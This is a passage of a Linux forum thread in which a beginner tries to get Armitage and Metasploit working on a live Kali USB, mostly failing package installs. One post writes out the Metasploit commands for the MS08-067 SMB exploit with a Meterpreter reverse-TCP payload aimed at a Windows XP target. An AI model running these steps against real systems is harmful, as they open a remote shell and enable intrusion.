LinuxQuestions.org
Visit Jeremy's Blog.
Home Forums Tutorials Articles Register
Go Back   LinuxQuestions.org > Forums > Linux Forums > Linux - Newbie
User Name
Password
Linux - Newbie This Linux forum is for members that are new to Linux.
Just starting out and have a question? If it is not in the man pages or the how-to's this is the place!

Notices


Reply
  Search this Thread
Old 07-01-2023, 05:42 PM   #31
jamison20000e
Senior Member
 
Registered: Nov 2005
Location: ...uncanny valley... infinity\1975; (randomly born:) Milwaukee, WI, US( + travel,) Earth&Mars (I wish,) END BORDER$!◣◢┌∩┐ Fe26-E,e...
Distribution: any GPL that work on freest-HW; has been KDE, CLI, Novena-SBC but open.. http://goo.gl/NqgqJx &c ;-)
Posts: 4,888
Blog Entries: 2

Rep: Reputation: 1567Reputation: 1567Reputation: 1567Reputation: 1567Reputation: 1567Reputation: 1567Reputation: 1567Reputation: 1567Reputation: 1567Reputation: 1567Reputation: 1567
Post


Are you reading what you're copying and pasting; again,,, what's with the first error?!.
  • Code:
    Quote:
    Failed to start metasploit.service: Unit metasploit.service not found.
    ...and, again: Armitage is in Metasploit!
 
Old 07-02-2023, 12:43 PM   #32
anon286
Member
 
Registered: Jun 2016
Location: UK
Posts: 132

Original Poster
Rep: Reputation: Disabled
I don't know.

I can load metasploit in the program area. But I can't use armitage with it.

└─$ ~ armitage
zsh: permission denied: /home/kali


msf6 > armitage
[-] Unknown command: armitage
msf6 > ~armitage
[-] Unknown command: ~armitage
msf6 > ~ armitage
[-] Unknown command: ~
msf6 > ~# armitage
[-] Unknown command: ~#
msf6 > ms08–067
[-] Unknown command: ms08–067
msf6 > ~ ms08–067
[-] Unknown command: ~
msf6 > armitage
[-] Unknown command: armitage
msf6 >

This above is in metasploit terminal.


[-] Unknown command: exploit/windows/smb/ms08_067_netapi
This is a module we can load. Do you want to use exploit/windows/smb/ms08_067_netapi? [y/N] y[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) >


I tried the above?

Last edited by anon286; 07-02-2023 at 12:45 PM. Reason: Tried ms08 search
 
Old 07-04-2023, 01:06 PM   #33
jamison20000e
Senior Member
 
Registered: Nov 2005
Location: ...uncanny valley... infinity\1975; (randomly born:) Milwaukee, WI, US( + travel,) Earth&Mars (I wish,) END BORDER$!◣◢┌∩┐ Fe26-E,e...
Distribution: any GPL that work on freest-HW; has been KDE, CLI, Novena-SBC but open.. http://goo.gl/NqgqJx &c ;-)
Posts: 4,888
Blog Entries: 2

Rep: Reputation: 1567Reputation: 1567Reputation: 1567Reputation: 1567Reputation: 1567Reputation: 1567Reputation: 1567Reputation: 1567Reputation: 1567Reputation: 1567Reputation: 1567
Code:
root@kali:~# armitage
A simple search can tell you what a dollar sign means at the command prompt. https://www.offsec.com/pre-registration/
 
Old 07-04-2023, 01:11 PM   #34
jamison20000e
Senior Member
 
Registered: Nov 2005
Location: ...uncanny valley... infinity\1975; (randomly born:) Milwaukee, WI, US( + travel,) Earth&Mars (I wish,) END BORDER$!◣◢┌∩┐ Fe26-E,e...
Distribution: any GPL that work on freest-HW; has been KDE, CLI, Novena-SBC but open.. http://goo.gl/NqgqJx &c ;-)
Posts: 4,888
Blog Entries: 2

Rep: Reputation: 1567Reputation: 1567Reputation: 1567Reputation: 1567Reputation: 1567Reputation: 1567Reputation: 1567Reputation: 1567Reputation: 1567Reputation: 1567Reputation: 1567
Talking

 
Old 07-08-2023, 01:23 PM   #35
anon286
Member
 
Registered: Jun 2016
Location: UK
Posts: 132

Original Poster
Rep: Reputation: Disabled
So the link above, is pretty much the basics of getting access to the system I have.
 
Old 07-08-2023, 02:05 PM   #36
anon286
Member
 
Registered: Jun 2016
Location: UK
Posts: 132

Original Poster
Rep: Reputation: Disabled
Selected Target: Windows XP SP0/SP1 Universal
[-] Target IP - Exploit failed: Rex::Proto::SMB::Exceptions::ErrorCode The server responded with error: STATUS_PIPE_NOT_AVAILABLE (Command=162 WordCount=0)[*] Exploit completed, but no session was created.

I got this error above after trying the commands below.

msf6 > use windows/smb/ms08_067_netapi[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) > RHOST IP
[-] Unknown command: RHOST
msf6 exploit(windows/smb/ms08_067_netapi) > set RHOST IP
RHOST => IP
msf6 exploit(windows/smb/ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) > set LPORT 80
LPORT => 80
msf6 exploit(windows/smb/ms08_067_netapi) > set LHOST IP
LHOST => IP
msf6 exploit(windows/smb/ms08_067_netapi) > exploit
 
Old 07-08-2023, 02:12 PM   #37
anon286
Member
 
Registered: Jun 2016
Location: UK
Posts: 132

Original Poster
Rep: Reputation: Disabled
Obviously I didn't use armitage, I simply typed the above in the metasploit program.

┌──(kali㉿kali)-[~]
└─$ ~armitage
Command '~armitage' not found, did you mean:
command 'armitage' from deb armitage
Try: sudo apt install <deb name>

┌──(kali㉿kali)-[~]
└─$ sudo apt install armitage
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
E: Unable to locate package armitage

┌──(kali㉿kali)-[~]
└─$

I tried this in the terminal.

┌──(kali㉿kali)-[~]
└─$ :~# armitage
:~#: command not found

┌──(kali㉿kali)-[~]
└─$ ~# armitage
~#: command not found

┌──(kali㉿kali)-[~]
└─$

Last edited by anon286; 07-08-2023 at 02:16 PM. Reason: Where is armitage everybody!
 
Old 07-09-2023, 01:40 AM   #38
GentleThotSeaMonkey
Member
 
Registered: Dec 2016
Posts: 338
Blog Entries: 4

Rep: Reputation: 128Reputation: 128
Wild GuessOogle: https://www.offsec.com/metasploit-un...rmitage-setup/

(Start SQL&...)
 
Old 07-09-2023, 12:53 PM   #39
anon286
Member
 
Registered: Jun 2016
Location: UK
Posts: 132

Original Poster
Rep: Reputation: Disabled
┌──(kali㉿kali)-[~]
└─$ ~# armitage
~#: command not found

┌──(kali㉿kali)-[~]
└─$ # Start Armitage
armitage
Command 'armitage' not found, but can be installed with:
sudo apt install armitage
Do you want to install it? (N/y)y
sudo apt install armitage
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
E: Unable to locate package armitage

┌──(kali㉿kali)-[~]
└─$ systemctl start postgresql

┌──(kali㉿kali)-[~]
└─$ msfdb init
[-] Error: /usr/bin/msfdb must be run as root

┌──(kali㉿kali)-[~]
└─$ # Start Armitage
armitage
Command 'armitage' not found, but can be installed with:
sudo apt install armitage
Do you want to install it? (N/y)y
sudo apt install armitage
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
E: Unable to locate package armitage

┌──(kali㉿kali)-[~]
└─$

I tried that in a terminal.

I also tried in the metasploit.

msf6 > systemctl start postgresql[*] exec: systemctl start postgresql

msf6 > msfdb init[*] exec: msfdb init

[-] Error: /usr/bin/msfdb must be run as root
msf6 > # Start Armitage
[-] Unknown command: #
msf6 > armitage
[-] Unknown command: armitage
msf6 >
 
Old 07-09-2023, 09:00 PM   #40
GentleThotSeaMonkey
Member
 
Registered: Dec 2016
Posts: 338
Blog Entries: 4

Rep: Reputation: 128Reputation: 128
https://www.linuxquestions.org/quest...ad-4175614092/

You first need to understand the basic concepts, like: what 'root' is.

Quote:
$ msfdb init
[-] Error: /usr/bin/msfdb must be run as root
 
1 members found this post helpful.
Old 07-10-2023, 12:19 PM   #41
anon286
Member
 
Registered: Jun 2016
Location: UK
Posts: 132

Original Poster
Rep: Reputation: Disabled
All i did was, install the kali on a USB I have, run it on a system, disable drives, and the USB is the only storage loaded.

That is all I have done, and what I know. I then run the live option, so no installation of the kali system. Logged into the wifi network, and I have accessed to the connection and I can then find the system I have and you know as I posted above, got the bare bones info, which is was a step in the correct direction.

Am I suppose to have kali installed as a primary system on a storage disk or drive? E must be the USB. Not sure what E would mean other than the USB.
 
Old 07-13-2023, 07:51 PM   #42
anon286
Member
 
Registered: Jun 2016
Location: UK
Posts: 132

Original Poster
Rep: Reputation: Disabled
https://www.linuxfordevices.com/tuto...locate-package

This is about debian and using nmap.

Let us assume that we want to install the very popular port scanning tool nmap on a Debian machine, using apt, which yields the following:
$ sudo apt install nmap
Reading package lists... Done
Building dependency tree
Reading state information... Done
E: Unable to locate package nmap

So apt couldn’t find the nmap package from its archives. We know that apt uses the source lists under /etc/apt/sources.list to locate packages. So open the same with your favorite text editor and with superuser privileges. Here we should find something like this :
# deb http://deb.debian.org/debian bullseye main
# deb-src http://deb.debian.org/debian bullseye main

Ensure you have all the official source repositories of your particular distribution and version. You can get a list of the official mirror’s on the Distro’s site.
2. Explaining Source Lists

Let’s analyze the first line to understand what each component signifies :


According to a youtube video, the file requires an edit so that armitage can be downloaded or installed.

Last edited by anon286; 07-13-2023 at 07:57 PM.
 
Old 07-15-2023, 01:08 PM   #43
anon286
Member
 
Registered: Jun 2016
Location: UK
Posts: 132

Original Poster
Rep: Reputation: Disabled
Since I'm using the live version only, that is why there is no tool like armitage.

What would installing do the USB, would it not allocate some space for the kali system, and keep any files I have there. Or everything is likely to be over written.

┌──(kali㉿kali)-[~]
└─$ sudo apt upgrade
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
Calculating upgrade... Done
0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

┌──(kali㉿kali)-[~]
└─$ apt install armitage
E: Could not open lock file /var/lib/dpkg/lock-frontend - open (13: Permission denied)
E: Unable to acquire the dpkg frontend lock (/var/lib/dpkg/lock-frontend), are you root?

┌──(kali㉿kali)-[~]
└─$

I tried some editing of the sources.list

Not sure if that mattered.

https://www.kali.org/docs/general-use/enabling-root/

As for this.

There is no password or anything. I am not sure where to go with this.

I thought the source would help with the install of armitage for the live use of the system. Nothing.

Last edited by anon286; 07-15-2023 at 01:29 PM. Reason: Edit the sources.list file
 
Old 07-15-2023, 04:07 PM   #44
jamison20000e
Senior Member
 
Registered: Nov 2005
Location: ...uncanny valley... infinity\1975; (randomly born:) Milwaukee, WI, US( + travel,) Earth&Mars (I wish,) END BORDER$!◣◢┌∩┐ Fe26-E,e...
Distribution: any GPL that work on freest-HW; has been KDE, CLI, Novena-SBC but open.. http://goo.gl/NqgqJx &c ;-)
Posts: 4,888
Blog Entries: 2

Rep: Reputation: 1567Reputation: 1567Reputation: 1567Reputation: 1567Reputation: 1567Reputation: 1567Reputation: 1567Reputation: 1567Reputation: 1567Reputation: 1567Reputation: 1567
Talking

https://unix.stackexchange.com/quest...-linux-rolling :jawa:
 
Old 07-15-2023, 05:34 PM   #45
anon286
Member
 
Registered: Jun 2016
Location: UK
Posts: 132

Original Poster
Rep: Reputation: Disabled
Erm,

What am I doing wrong?

What should I be doing to get this entire thing working?
 
  


Reply



Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off



Similar Threads
Thread Thread Starter Forum Replies Last Post
LXer: Kali Unkaputtbar Brings File System Snapshots to Btrfs-Based Kali Linux Systems LXer Syndicated Linux News 0 03-11-2022 07:30 PM
network manager shows connected to wifi but ifconfig show connected to ethernet mia_tech Linux - General 10 12-16-2015 10:23 AM
Failed to fetch http://http.kali.org/kali/dists/kali/Release.gpg aymeric75 Linux - General 2 07-11-2015 05:10 AM
Mounting a windows drive on a Linux machine (connected via an ethernet network) eddydw Linux - Networking 13 01-03-2009 03:13 PM
Ethernet, Connected but not Connected! charl^e Linux - Networking 5 07-24-2007 03:59 AM

LinuxQuestions.org > Forums > Linux Forums > Linux - Newbie

All times are GMT -5. The time now is 09:35 AM.

Main Menu
Advertisement
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
Open Source Consulting | Domain Registration